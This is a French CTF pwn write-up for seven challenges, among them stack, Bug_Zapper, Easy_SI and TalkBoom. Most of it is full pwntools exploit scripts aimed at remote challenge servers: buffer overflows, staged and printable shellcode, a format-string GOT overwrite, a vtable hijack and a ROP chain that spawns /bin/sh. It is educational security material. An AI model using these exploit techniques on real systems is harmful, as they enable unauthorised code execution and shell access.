stack
La fonction run retourne le résultat de strdup(buf), ce qui signifie que le contenu saisi est directement renvoyé.
char *run()
{
char buf[76];
size_t nbytes;
printf("Give me the length: ");
LODWORD(nbytes) = get_int();
if ( (unsigned __int8)nbytes > 0x40u )
{
puts("Too long!");
exit(1);
}
printf("Give me your command: ");
read(0, buf, (unsigned int)nbytes);
return strdup(buf);
}
Une fonction backdoor est présente, mais on ne peut pas rediriger le flux d'exécution directement vers celle-ci. Pour l'activer, l'entrée doit être give me flag, mais system exécute cette même chaîne. L'astuce cnosiste donc à rediriger le programme vers l'adresse qui appelle system avec comme argument notre propre chaîne, comme /bin/sh\x00 pour obtenir un shell.
int __fastcall backdoor(const char *a1)
{
if ( strncmp(a1, "give me flag", 0xCuLL) )
return puts("Nope!");
puts("You got!");
return system(a1);
}
Exploitation :
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
r = remote('yuanshen.life', 33057)
elf = ELF(file_name)
backdoor = 0x4011F4
r.sendlineafter(b'Give me the length: ', b'256')
# Construction du payload : "/bin/sh\x00" + padding + adresse de backdoor
p = b'/bin/sh\x00' + b'a' * 0x50 + p64(backdoor)
r.sendlineafter(b'Give me your command: ', p)
r.interactive()
Bug_Zapper
La lecture est limitée à 0x10 octets. L'idée est d'écrire un premier shellcode qui appelle read pour lire une deuxième charge utile plus longue en modifiant rdx. Ensuite, on envoie un shellcode complet généré par pwntools.
if ( (unsigned __int64)sys_read(0, (char *)0x1919810, 0x100uLL) <= 0x10 )
__asm { syscall; LINUX - sys_creat }
Exploitation :
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
r = remote('node4.buuoj.cn', 26870)
elf = ELF(file_name)
# Shellcode : mov esi, eax; xor eax, eax; xor edi, edi; mov edx, esi; syscall
shellcode = b'\x89\xc6\x31\xc0\x31\xff\x89\xf2\x0f\x05'
r.sendlineafter(b'you', shellcode)
sleep(1)
# Deuxième payload : shellcode complet
p = b'\x90' * 0xa + asm(shellcraft.sh())
r.send(p)
r.interactive()
Easy_SI
Utilisation d'une chaîne de format à l'aveugle. On commence par envoyer %49$p pour obtenir une adresse. En analysant la stack, on déduit la base de la libc et on trouve que la GOT de printf se trouve à 0x404030. On la remplace par l'adresse de system.
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r = remote('yuanshen.life', 34046)
libc = ELF('./libc.so.6')
# Obtention de l'adresse de la libc
r.sendlineafter(b'the game!!!', b'%49$p')
r.recvuntil(b'0x')
libc_base = int(r.recv(12),16) - libc.sym['__libc_start_main'] - 128
system = libc.sym['system'] + libc_base
printf_got = 0x404030
# Écriture de l'adresse de system dans printf_got
p = fmtstr_payload(6, {printf_got: system})
r.sendline(p)
r.interactive()
overflow
Le binaire n'a ni PIE, ni canary, et les segments RWX sont présents. Une fonction backdoor est accessible. Le point d'intérêt est dans l'opérateur std::string::operator=.
On peut écraser le pointeur vers la GOT de __stack_chk_fail pour le remplacer par l'adresse de la backdoor. Lorsque le canary est corrompu, le programme appelle __stack_chk_fail, exécutant ainsi la backdoor.
Exploitation :
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
r = process(file_name)
elf = ELF(file_name)
backdoor = 0x4011D0
stack_chk_got = elf.got['__stack_chk_fail']
# Construction du payload
p = p64(backdoor)
p = p.ljust(0xa8, b'a') + p64(stack_chk_got)
r.sendline(p)
r.interactive()
Eeeeasy_Cpp
Programme C++ avec deux allocations heap. Le mot de passe peut overflow sur le second bloc qui contient la vtable et l'adresse de sortie. On peut modifier la vtable pour pointer vers une adresse contenant la backdoor, après avoir leaké l'adresse du heap.
Exploitation :
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
r = remote('node4.buuoj.cn', 26870)
elf = ELF(file_name)
def add(name, password):
r.sendlineafter(b'>> ', b'G')
r.sendlineafter(b'Enter your name: ', name)
r.sendlineafter(b'Enter your password:', password)
def show():
r.sendlineafter(b'>> ', b'P')
# Obtention de l'adresse de base du code
r.recvuntil(b'0x')
code_base = int(r.recv(12), 16) - 0x2650
backdoor = code_base + 0x22E0
vtable = code_base + 0x4D38
# Leak de l'adresse du heap
add('a', b'\x00' * 0x18 + p64(0x21) + p64(vtable + 0x10) + b'\x48')
show()
r.recvuntil('Name: ')
heap_addr = u64(r.recv(6).ljust(8, b'\x00'))
# Écriture de l'adresse de backdoor dans le heap et modification de la vtable
add(b'\x10', b'a')
add(p64(backdoor), b'\x00' * 0x18 + p64(0x21) + p64(heap_addr - 0x40))
show()
r.interactive()
Bug_Zapper_Pro+
Le shellcode est limité à 0x10 octets et doit être composé de caractères visibles (codes entre 0x20 et 0x7E). On écrit un premier shellcode qui soustrait 0x67 de al pour modifier rax, puis utilise une opération XOR pour générer l'instruction syscall. Ensuite, un second shellcode (plus long) lit le flag.
Exploitation :
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
r = remote('node4.buuoj.cn', 26870)
elf = ELF(file_name)
# Premier shellcode : visible, prépare le terrain pour un read plus long
shellcode = asm('''
sub al, 0x67
push rax
pop rsi
xor word ptr [rax + 0x72], ax
pop rdx
push rbx
pop rax
.word 0x4a76
''')
shellcode = shellcode.ljust(0x10, b'\x20')
r.sendafter('Welcome', shellcode)
# Deuxième shellcode : orw pour lire le flag
shellcode = asm('''
mov rax, 0x67616c66
push rax
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 1024
mov rax, 0
syscall
mov rdi, 1
mov rsi, rsp
mov rdx, rax
mov rax, 1
syscall
mov rdi, 0
mov rax, 60
syscall
''')
shellcode = shellcode.ljust(0x74, b'\x90')
shellcode += asm('''jmp rsi''')
sleep(1)
r.send(shellcode)
r.interactive()
TalkBoom
Programme Rust sans canary ni PIE. L'entrée est comparée à plusieurs chaînes. L'une d'elles (à l'offset 0x448740) déclenche un read avec une taille de 0x100, provoquant un buffer overflow. On leak cette chaîne en téléchargeant le binaire envoyé par le serveur (codé en base64). Ensuite, on envoie un ROP pour obtenir un shell.
Exploitation :
from pwn import *
import base64, os
def pwn():
r.recvuntil('This is your Bomb: \n')
r.recvuntil("b'")
a = r.recvline(keepends=False)
decoded = base64.b64decode(a)
with open("poc3.gz", "wb") as f:
f.write(decoded)
os.system('gzip -d poc3.gz && chmod +x poc3')
binary_path = './poc3'
target_address = 0x448740
elf = ELF(binary_path)
value = elf.read(target_address, 63)
os.system('rm poc3')
# Envoi de la chaîne correcte pour atteindre le code vulnérable
r.sendlineafter(b'Welcome', value)
# Gadgets ROP
pop_rdi_ret = 0x402359
pop_rsi_ret = 0x4042bc
pop_rcx_ret = 0x402b38
mov_rdx_rcx_rbx_ret = 0x4461d4
# Chaîne "/bin/sh"
binsh_addr = 0x4603e8 + 0x50
# Construction du payload ROP
payload = b'a' * 0x38
payload += p64(pop_rdi_ret) + p64(0) # stdin
payload += p64(pop_rsi_ret) + p64(binsh_addr) # buffer
payload += p64(0x404e8d) # read(0, binsh_addr, ...)
payload += p64(0) * 7 # ajustement de la stack
payload += p64(pop_rdi_ret) + p64(59) # syscall number execve
payload += p64(pop_rsi_ret) + p64(binsh_addr) # argv
payload += p64(pop_rcx_ret) + p64(0) # envp
payload += p64(mov_rdx_rcx_rbx_ret) # rdx = 0
payload += p64(0) # rbx (padding)
payload += p64(0x402a7c) # syscall
r.send(payload)
# Envoi de "/bin/sh\x00" pour le read
r.send(b'/bin/sh\x00')
r.sendline('cat /flag')
while(1):
try:
r = remote('112.124.59.213', 10001)
pwn()
r.interactive()
break
except EOFError:
continue